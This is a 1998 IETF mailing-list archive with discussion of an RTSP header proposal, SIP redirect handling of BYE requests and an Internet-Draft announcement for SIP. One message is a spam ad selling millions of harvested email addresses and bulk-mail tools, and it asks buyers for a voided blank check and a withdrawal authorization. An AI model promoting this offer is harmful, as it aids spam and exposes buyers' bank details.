Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA15228
	for confctrl-outgoing; Mon, 15 Jun 1998 18:47:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA15223
	for <confctrl@zephyr.isi.edu>; Mon, 15 Jun 1998 18:47:06 -0700 (PDT)
Received: from doggate.exchange.microsoft.com (doggate.Exchange.microsoft.com [131.107.88.55])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA28869
	for <confctrl@ISI.EDU>; Mon, 15 Jun 1998 18:47:05 -0700 (PDT)
Received: by doggate.exchange.microsoft.com with Internet Mail Service (5.5.2232.0)
	id <MWCPTACT>; Mon, 15 Jun 1998 18:46:39 -0700
Message-ID: <69D8143E230DD111B1D40000F8485840F40083@ED>
From: "Anders Klemets (Exchange)" <anderskl@exchange.microsoft.com>
To: "'kshoop@real.com'" <kshoop@real.com>, Confctrl <confctrl@ISI.EDU>
Subject: RE: Advertisements over RTSP
Date: Mon, 15 Jun 1998 18:46:37 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.0)
Content-Type: text/plain;
	charset="windows-1252"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> A non-compatible client and our server would work normally. If
> retain-entity-for-setup is not specified, then our server will
> free the resources used by the DESCRIBE.
> 
> This means that our server can serve dynamic content to compatible
> clients and still inter-operate with other client and server
> implementations.

So this means that non-compatible clients would not get the dynamic content.
If there are many different RTSP server implementations in use, client
implementors now have to face a trade-off between an extra round-trip time
and getting the dynamic content.  
In order to get the dynamic content, the clients ought to always send this
particular "Require:" header.  But whenever a server does not support this
feature, the client will get a 551 error response.  Then the client has to
resubmit the request, and this wastes network round-trip.

Maybe it would be better to use the "Pragma" header.  Like this:  
	Pragma: retain-entity-for-setup

Servers and proxies that do not understand this particular pragma parameter,
will just ignore it, and process the rest of the command.  I think this
solution is more practical, because it allows RTSP clients to get the
dynamic content without having to pay a performance penalty when talking to
non-RealNetworks RTSP servers.

Anders

From confctrl-owner  Tue Jun 16 12:27:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA00626
	for confctrl-outgoing; Tue, 16 Jun 1998 12:27:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA00620
	for <confctrl@zephyr.isi.edu>; Tue, 16 Jun 1998 12:27:13 -0700 (PDT)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA00819
	for <confctrl@ISI.EDU>; Tue, 16 Jun 1998 12:27:11 -0700 (PDT)
Received: from kshoop (two31.dev.prognet.com) by murrow.prognet.com with SMTP id AA07631
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Tue, 16 Jun 1998 12:27:11 -0700
Reply-To: <kshoop@real.com>
From: "Kirk Shoop" <kshoop@real.com>
To: "Confctrl" <confctrl@ISI.EDU>
Subject: RE: Advertisements over RTSP
Date: Tue, 16 Jun 1998 12:29:26 -0700
Message-Id: <001d01bd995d$12dbe0d0$1f0210ac@kshoop.dev.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-Msmail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <69D8143E230DD111B1D40000F8485840F40083@ED>
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2106.4
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yes, I was looking for a "Request" type of header.  However, when
I looked at the Pragma header in the HTTP/1.1 spec, it seemed that
it had been depreciated.  Is it still ok to use Pragma?

I also wasn't sure that Pragma properly described the semanctics of
retain-entity-for-setup.  Isn't Pragma (at least in C/C++) more
like require than request?

I didn't want to propose this.. :) but would a Request header
be an appropriate addition?

Thanks,
Kirk

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Anders Klemets (Exchange)
> Sent: Monday, June 15, 1998 6:47 PM
> To: 'kshoop@real.com'; Confctrl
> Subject: RE: Advertisements over RTSP
>
>
> > A non-compatible client and our server would work normally. If
> > retain-entity-for-setup is not specified, then our server will
> > free the resources used by the DESCRIBE.
> >
> > This means that our server can serve dynamic content to compatible
> > clients and still inter-operate with other client and server
> > implementations.
>
> So this means that non-compatible clients would not get the
> dynamic content.
> If there are many different RTSP server implementations in use, client
> implementors now have to face a trade-off between an extra round-trip time
> and getting the dynamic content.
> In order to get the dynamic content, the clients ought to always send this
> particular "Require:" header.  But whenever a server does not support this
> feature, the client will get a 551 error response.  Then the client has to
> resubmit the request, and this wastes network round-trip.
>
> Maybe it would be better to use the "Pragma" header.  Like this:
> 	Pragma: retain-entity-for-setup
>
> Servers and proxies that do not understand this particular pragma
> parameter,
> will just ignore it, and process the rest of the command.  I think this
> solution is more practical, because it allows RTSP clients to get the
> dynamic content without having to pay a performance penalty when
> talking to
> non-RealNetworks RTSP servers.
>
> Anders
>


From confctrl-owner  Wed Jun 17 06:23:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA16146
	for confctrl-outgoing; Wed, 17 Jun 1998 06:23:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16141
	for <confctrl@zephyr.isi.edu>; Wed, 17 Jun 1998 06:23:30 -0700 (PDT)
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA04659
	for <confctrl@isi.edu>; Wed, 17 Jun 1998 06:23:28 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id JAA16484;
	Wed, 17 Jun 1998 09:22:54 -0400 (EDT)
Message-Id: <199806171322.JAA16484@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-06.txt,.ps
Date: Wed, 17 Jun 1998 09:22:54 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: E. Schooler, H. Schulzrinne, M. Handley
	Filename	: draft-ietf-mmusic-sip-06.txt,.ps
	Pages		: 108
	Date		: 16-Jun-98
	
         Many styles of multimedia conferencing are likely to co-
         exist on the Internet, and many of them share the need to
         invite users to participate. The Session Initiation
         Protocol (SIP) is a simple protocol designed to enable
         the invitation of users to participate in such multimedia
         sessions. It is not tied to any specific conference
         control scheme. In particular, it aims to enable user
         mobility by relaying and redirecting invitations to a
         user's current location.
 
         This document is a product of the Multi-party Multimedia
         Session Control (MMUSIC) working group of the Internet
         Engineering Task Force.  Comments are solicited and
         should be addressed to the working group's mailing list
         at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-06.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-06.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-06.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980616153209.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-06.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980616153209.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Jun 18 16:30:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA17492
	for confctrl-outgoing; Thu, 18 Jun 1998 16:30:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17478
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jun 1998 16:30:29 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA18137
	for <confctrl@ISI.EDU>; Thu, 18 Jun 1998 16:30:27 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <MXGRTQ6S>; Thu, 18 Jun 1998 19:28:57 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED9D@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: SIP Redirect Server
Date: Thu, 18 Jun 1998 19:28:54 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id QAA17479
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Can a redirect server redirect other requests than INVITE?  Or must a
UAC be prepared to handle a 301/302 response when sending BYEs?  I don't
think it should, but I want to make sure, because this might cause a
small problem.

Thank you,
EricT


Eric Tremblay       | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com

From confctrl-owner  Thu Jun 18 17:03:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA18473
	for confctrl-outgoing; Thu, 18 Jun 1998 17:03:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA18468
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jun 1998 17:03:21 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA21051
	for <confctrl@ISI.EDU>; Thu, 18 Jun 1998 17:03:20 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id UAA06167; Thu, 18 Jun 1998 20:03:10 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Eric Tremblay <etremblay@mediatrix.com>
cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Redirect Server 
In-reply-to: Your message of "Thu, 18 Jun 1998 19:28:54 EDT."
             <D1222A5B22CBD0118D8E0000C00C85E912ED9D@nettrix.mediatrix.com> 
Date: Thu, 18 Jun 1998 20:03:10 -0400
Message-ID: <6165.898214590@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Can a redirect server redirect other requests than INVITE?  

Yes, it can.  Especially with OPTIONS or REGISTER methods.

>Or must a
>UAC be prepared to handle a 301/302 response when sending BYEs?  I don't
>think it should, but I want to make sure, because this might cause a
>small problem.

I don't think it makes sense to redirect a BYE, ACK or CANCEL.  If the
server doesn't have enough information to handle one of these
requests, I would normally expect it to return 481 (Invalid Call-ID).

Perhaps we should state this explicitly as a general rule for 3xx
responses?

Mark



From confctrl-owner  Thu Jun 18 17:56:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA20074
	for confctrl-outgoing; Thu, 18 Jun 1998 17:56:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA20069
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jun 1998 17:56:08 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA25232
	for <confctrl@ISI.EDU>; Thu, 18 Jun 1998 17:56:07 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <MXGRTQ69>; Thu, 18 Jun 1998 20:54:38 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED9E@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Mark Handley'" <mjh@ISI.EDU>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: SIP Redirect Server 
Date: Thu, 18 Jun 1998 20:54:34 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id RAA20070
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> -----Original Message-----
> From: Mark Handley [mailto:mjh@east.isi.edu]
> Sent: 18 juin, 1998 20:03
> To: Eric Tremblay
> Cc: 'confctrl@ISI.EDU'
> Subject: Re: SIP Redirect Server 
> 
> 
> >Can a redirect server redirect other requests than INVITE?  
> 
> Yes, it can.  Especially with OPTIONS or REGISTER methods.
> 
> >Or must a
> >UAC be prepared to handle a 301/302 response when sending 
> BYEs?  I don't
> >think it should, but I want to make sure, because this might cause a
> >small problem.
> 
> I don't think it makes sense to redirect a BYE, ACK or CANCEL.  If the
> server doesn't have enough information to handle one of these
> requests, I would normally expect it to return 481 (Invalid Call-ID).
 
I have a problem with BYE in the following scenario:

user A (located at station1.mediatrix.com) invites user B (which is at
term2.isi.edu).  User A's "permanent address" (where he normally
registers) is  userA@redirect.mediatrix.com, which is a
registrar/redirect server and user B's permanent address is
userB@isi.edu (for this scenario, we don't care if isi.edu is a proxy or
redirect).

The problem happens when User A invites user B with no "Location" header
and "From: sip:userA@redirect.mediatrix.com".  If user B wants to BYE
user A, the BYE has to go trough a redirect server
(redirect.mediatrix.com), unless the From header really points to the
CURRENT location of user A.

The point here is to know if it is ok to have the From header point to
the "permanent address" of a user instead of its "current address".  I
think it should always be the permanent address.  In this case, if a
user knows that his permanent address points to a redirect server, a
Location header should always be included in an Invite (or ACK) request
(so the remote user can send BYE requests).

This is not a problem with a proxy, but I wonder if we should state
something special to take care of this case with a redirect.

> Perhaps we should state this explicitly as a general rule for 3xx
> responses?

I think it depends on what you think the solution to the above problem
is.  Have the BYE redirected? (I don't like it).
Have the From header take the value of the Current location?  I don't
like that because this rules out any way to get the permanent address
from an invitation (so you can call back...).  Strongly suggest to add a
Location header to Invites or ACK requests?  Maybe...

> 
> Mark
>
> 

EricT

Eric Tremblay       | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com


From confctrl-owner  Thu Jun 18 18:14:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA20520
	for confctrl-outgoing; Thu, 18 Jun 1998 18:14:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA20515
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jun 1998 18:14:32 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA26276
	for <confctrl@ISI.EDU>; Thu, 18 Jun 1998 18:14:31 -0700 (PDT)
Received: from leonia (usr1-dialup41.mix2.Boston.mci.net [166.55.67.41]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA11472; Thu, 18 Jun 1998 21:14:27 -0400 (EDT)
Message-ID: <3589BB70.F19057DB@cs.columbia.edu>
Date: Thu, 18 Jun 1998 21:14:24 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Reply-To: hgs@cs.columbia.edu
Organization: Columbia University (home)
X-Mailer: Mozilla 4.01 [en] (Win95; I)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Redirect Server
X-Priority: 3 (Normal)
References: <D1222A5B22CBD0118D8E0000C00C85E912ED9D@nettrix.mediatrix.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Tremblay wrote:
> 
> Can a redirect server redirect other requests than INVITE? 

Yes, I don't see why not. With the exception of ACK (and CANCEL, see
below), obviously, as this would be directed at ack'ing a previous
exchange, not as a new request.

> Or must a
> UAC be prepared to handle a 301/302 response when sending BYEs?  I
> don't
> think it should, but I want to make sure, because this might cause a
> small problem.

What small problem did you have in mind? I'm inclined (in the interest
of generality) to allow redirection on any non-ACK request, as it makes
mobility a lot easier.

That said, it is not quite clear to me if CANCEL redirection makes a lot
of sense, however. If I send a CANCEL to a redirect server I would
presumably want to tell it to stop rummaging through its databases.

Generally, BYE redirect should not happen, as the INVITE response will
indicate a direct path to the invited entity. But if I send the BYE to
the same redirect server I sent my INVITE to, what else is the poor
redirect server to do?

I'll add some wording to the spec, unless there are better suggestions
of redirect behavior.

> 
> Thank you,
> EricT
> 
> Eric Tremblay       | Mediatrix Telecom
> Ingénieur Stagiaire | -----------------
> email: etremblay@mediatrix.com
> Tel: +1(819)829-8749 ext. 238
> Web: www.mediatrix.com

From confctrl-owner  Thu Jun 18 18:17:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA20610
	for confctrl-outgoing; Thu, 18 Jun 1998 18:17:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA20603
	for <confctrl@zephyr.isi.edu>; Thu, 18 Jun 1998 18:17:36 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA26517
	for <confctrl@ISI.EDU>; Thu, 18 Jun 1998 18:17:34 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id VAA06266; Thu, 18 Jun 1998 21:17:31 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Eric Tremblay <etremblay@mediatrix.com>
cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Redirect Server 
In-reply-to: Your message of "Thu, 18 Jun 1998 20:54:34 EDT."
             <D1222A5B22CBD0118D8E0000C00C85E912ED9E@nettrix.mediatrix.com> 
Date: Thu, 18 Jun 1998 21:17:31 -0400
Message-ID: <6264.898219051@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>I think it depends on what you think the solution to the above problem
>is.  Have the BYE redirected? (I don't like it).
>Have the From header take the value of the Current location?  I don't
>like that because this rules out any way to get the permanent address
>from an invitation (so you can call back...).  Strongly suggest to add a
>Location header to Invites or ACK requests?  Maybe...

When the callee sends a BYE, the situation may be complicated as you
say.  I agree I don't like BYEs being redirected in this scenario.
When the request is a unicast bidirectional call, and the From field
doesn't indicate a valid host to send the BYE to, I believe a Location
field _should_ be included.  "Valid host" in this sense does not
necessarily have to be the UA-client.  It can include appropriate
proxies, but those proxies shouldn't send redirects - they should be
able to forward the BYE, probably because they are a firewall that
also routed the outgoing call.

This rule doesn't necessarily apply to all SIP requests - there are
many uses of SIP where it doesn't make sense to send a BYE back to the
originator, such as when I invite you into a public multicast session.

We should definitely include text about the expectations of the callee
to get BYE messages back to the caller.

Cheers,
	Mark


From confctrl-owner  Fri Jun 19 05:53:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA00193
	for confctrl-outgoing; Fri, 19 Jun 1998 05:53:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA00188
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 05:53:46 -0700 (PDT)
Received: from wally.cooptel.qc.ca (wally.cooptel.qc.ca [206.167.253.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA29235
	for <confctrl@isi.edu>; Fri, 19 Jun 1998 05:53:44 -0700 (PDT)
From: mauricep@sym.com.tw
Received: from 206.167.253.10 by wally.cooptel.qc.ca via SMTP (951211.SGI.8.6.12.PATCH1502/940406.SGI.AUTO)
	 id IAA07846; Fri, 19 Jun 1998 08:40:01 -0400
Date: Fri, 19 Jun 98 03:47:38 EST
To: richard23@sym.com.tw
Subject: Do you market on the Internet?
Message-ID: <17345945.197D@mail>
X-PMFLAGS: 570949760 0
X-UIDL: 887812308.018
Comments: Authenticated sender is <mauricep@sym.com.tw>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Internet Marketer,

Are you tired of endlessly posting your ad to online classified sites that
just don't get the job done? The fact is there are over 300 such sites
scattered about the Web and frankly none of them generate enough
traffic to be worth your while. Even when someone does visit one of these
sites, your ad is hopelessly lost in a myriad of similar offerings.

The true professionals of online marketing have known for some time that
nothing creates results the way a direct bulk email campaign does. We have
assembled a complete package on one CD-ROM that will enable to get your
message out to millions for surprisingly little cost and effort.

INTRODUCING...MILLIONS VOL. 1

We took a total of over 92 million email addresses from many of the 
touted CD's that are out there (bought them all - some were $300+)!  
We added the millions we had in storage to those.   When we 
combined them all, we had in  excess of 100+ million addresses 
in one huge file. 

We then ran a super "sort/de-dupe" program against this huge list. 
It cut the file down to less than 25 million!!! Can you believe that? It 
seems that most people that are selling CD's are duping the public 
by putting numerous files of addresses in the CD over and over. This 
created many duplicate addresses. They also had many program
 "generated" email addresses like Compuserve, MCI, ANON's, etc. 
This causes a tremendous amount of undeliverables, and for  those 
that use Stealth programs, clogs up servers quickly with trash, etc. 

We then ran a program that contained 150+ keywords to remove 
addresses with vulgarity,  profanity, sex-related names, postmaster,
 webmaster, flamer, abuse, spam, etc., etc.   Also eliminated all .edu, 
.mil, .org, .gov, etc.   After that list was run against the remaining list, 
it  reduced it down to near 16 million addresses! 

So, you see, our list will save people hundreds of dollars buying all 
others that are out there on  CD and otherwise. Using ours will be like
using the 100+ million that we started with, but a lot less money and 
a lot less time!!  

Besides the 16 Million general email address we include over 400,000
TARGETED addresses of Business Opportunity Seekers, MLM'ers and
other Internet Marketers. These are people EAGER to hear about your
products and services. 
Other services charge upwards of 5 cents per address for this type of list.
We include it at no extra extra charge when you purchase Millions Vol. 1

We also purchased Cyber-Promo's ($995.00) CD. We received it just 
prior to finishing production work on the new CD. We had our people 
take a random sample of 300,000 addresses  from the touted 2.9 million
that they advertised. We used a program that allows us to take a random 
sample of addresses from any list.   We were able to have the program 
take every 9th address, thus giving us a 300,000 list of Cyber's email 
addresses from top to bottom. We did not clean  these, but we did create
3 separate files named cyber1.txt, cyber2.txt, & cyber3.txt of 100,000 
addresses each. This will give all people that use the list an opportunity to
send mail to the list before deciding if their CD is all it's hyped to be. 

We also included a 5+ million "Remove/Flamer" file broken into seperate
files for ease of  extracting and adding to your own database of removes. 

To help you manage your email lists, you'll find a fully functional evaluation
copy of BulkMate 4.04 on your CD. BulkMate is an indispensible tool for the
serious bulk mailer. Among its 10 utilites are the ability to filter any address list
against a remove list, sort any list alphabetically and automatically remove dupes,
remove specific domains from any list and count the number of addresses in
each list.


 "You can buy from the REST or you can buy from the BEST.   Your choice. 
_____________________________

What our clients are saying:

"I received the CD on Friday evening.   Like a kid with a new toy, I 
immediately started bulking out using the new email addresses.  Over 
the course of the weekend, I emailed out over 500,000 emails and I 
received less than TWENTY undeliverables!!  I am totally satisfied
with my purchase!!  Thanks Syrynx!!"

Dave Buckley
Houston,  TX


"This list is worth it's weight in gold!!  I sent out 10,000 emails for my 
product and received 185 orders!  

Ann Colby
New Orleans, LA


"I am absolutely delighted! Your support is first rate. When I needed help
you were there for me. I got a real person on the phone. I've been marketing
my product now for two weeks and can't believe how many orders I've
received. I can't thank you enough!

Gail Swanton
Boston, MA


****************************************

                  HERE'S THE BOTTOM LINE

Here is what you get when you order today!

>> 16 Million Email Addresses... 1 per line in simple text format on a CD.
Files are in lots of 100,000 (no codes needed to open files). 
All files are separated by domain name for your convenience.

PLUS you receive a tremendous REMOVE list!

AND

Over 400,000 Targeted email addresses.

AND

The sampling of CyberPromo's HOT list.

AND

BulkMate 4.04 The ultimate mail management tool.

>>> NOW ONLY $149.00!   

All lists are completely free of any duplicates. We also on a continual 
basis, add New Names and Remove Undeliverables and Remove 
Requests.   

The result is the Cleanest Email Addresses Available Anywhere 
to use over and over again, for a FRACTION of the cost that other 
companies charge. Typical rates for acquiring email lists are from 
1 cent to as high as 3 cents per email address - that's
"INFORMATION HIGHWAY" ROBBERY!.

Don't even hesitate on this one or you will miss out on the most 
effective way to market anywhere..PERIOD!

>>>As a special bonus we've included the entire suite of Earthonline
>>>bulk email and marketing software demos on the CD. Including
>>>the just released DirectMail 2.0 mailer. Use it free for 10 days !!
>>>You'll also get our  private Website address where you can check
>>> for product upgrades and other valuable marketing information.


To order our email package, simply print out the EZ ORDER FORM 
below and fax or mail it to our office today.

We accept Checks by Fax and Mail and C.O.D.

_________________
EZ Order Form 


_____Yes! I would like to order MILLIONS Vol. 1 email addresses 
for only $149.00.

All orders are sent by US Priority Mail and we pay the shipping costs!

ORDERING OPTIONS

*Mail (USPS)
   *Include a check or money order for the correct amount.
   *Make the check payable to:  Syrynx, Inc.
   *Include your phone number and/or email address in case we need to contact you.
   *Mail to:

       Syrynx, Inc.
       500 Lake Avenue
       Suite 154 
       Lake Worth, Florida  33460

*C.O.D.
   *Fill out the order form completely and write/type COD on the form.
   *Mail the form to the above address or fax to 305-418-7590
   *Please have a certified/cashiers check or money order in the amount
    of $165.00 payable to Syrynx, Inc ready when the order arrives.
    The additonal $16.00 covers overnight shipping and C.O.D. fees.

*Fax
   *This is the preferred payment method at Syrynx, Inc.
   *ALL FUNDS ARE TO BE IN USA CURRENCY.
   *Your order can be received 24 hours a day, 7 days a week.
   *Print out and complete the following form.
   *To this form, attach a BLANK CHECK with "VOID" written
    somewhere on the body of the check.
   *This gives us the necessary account information to process your order.
   *Please note that Syrynx, Inc. charges a $40.00 fee for ALL BAD CHECKS. 



Thank you for your order.

Syrynx, Inc.


          **********  MILLIONS VOL.1 ORDER FORM **********

*You must complete the entire form or your order can not be processed. 
*You will need to tape the blank check in the space indicated below.
*Fill out and sign the authorization section below.

*Fax the ENTIRE FORM to (305) 418-7590.


*Please, print the following information.


First Name: _______________________________________________________

Last Name: _______________________________________________________

Street Address: ___________________________________________________

_________________________________________________________________

City: ____________________________________________________________

State: _____________________            Zip: _________________________

Phone Number:  __________________________________________________

EMail Address: ___________________________________________________



           * * * * * * * * * *  Authorization  * * * * * * * * * *
                        (leave blank for C.O.D. orders) 

I, ________________________________________________, hereby authorize
Syrynx, Inc. to withdraw $________________________ from my checking account,
account information enclosed, one time only, for the purchase of the Millions
Vol. 1 CD-ROM. I have read and I understand the terms and conditions
as stated above.  The signature below is the authorized signature of the holder
of the checking account.  I understand that Syrynx, Inc. charges $40.00 for bad
checks.  I understand that if the funds are not available in my account, I agree
to pay the amount of this order plus the $40.00 fee. (Cash or Certified Funds
Only).  Authorized Signature _______________________________________________

Date: __________________ 

order code:mvi

*Attach voided, blank check below. (do not attach check for C.O.D. orders)










From confctrl-owner  Fri Jun 19 08:58:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA02884
	for confctrl-outgoing; Fri, 19 Jun 1998 08:58:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
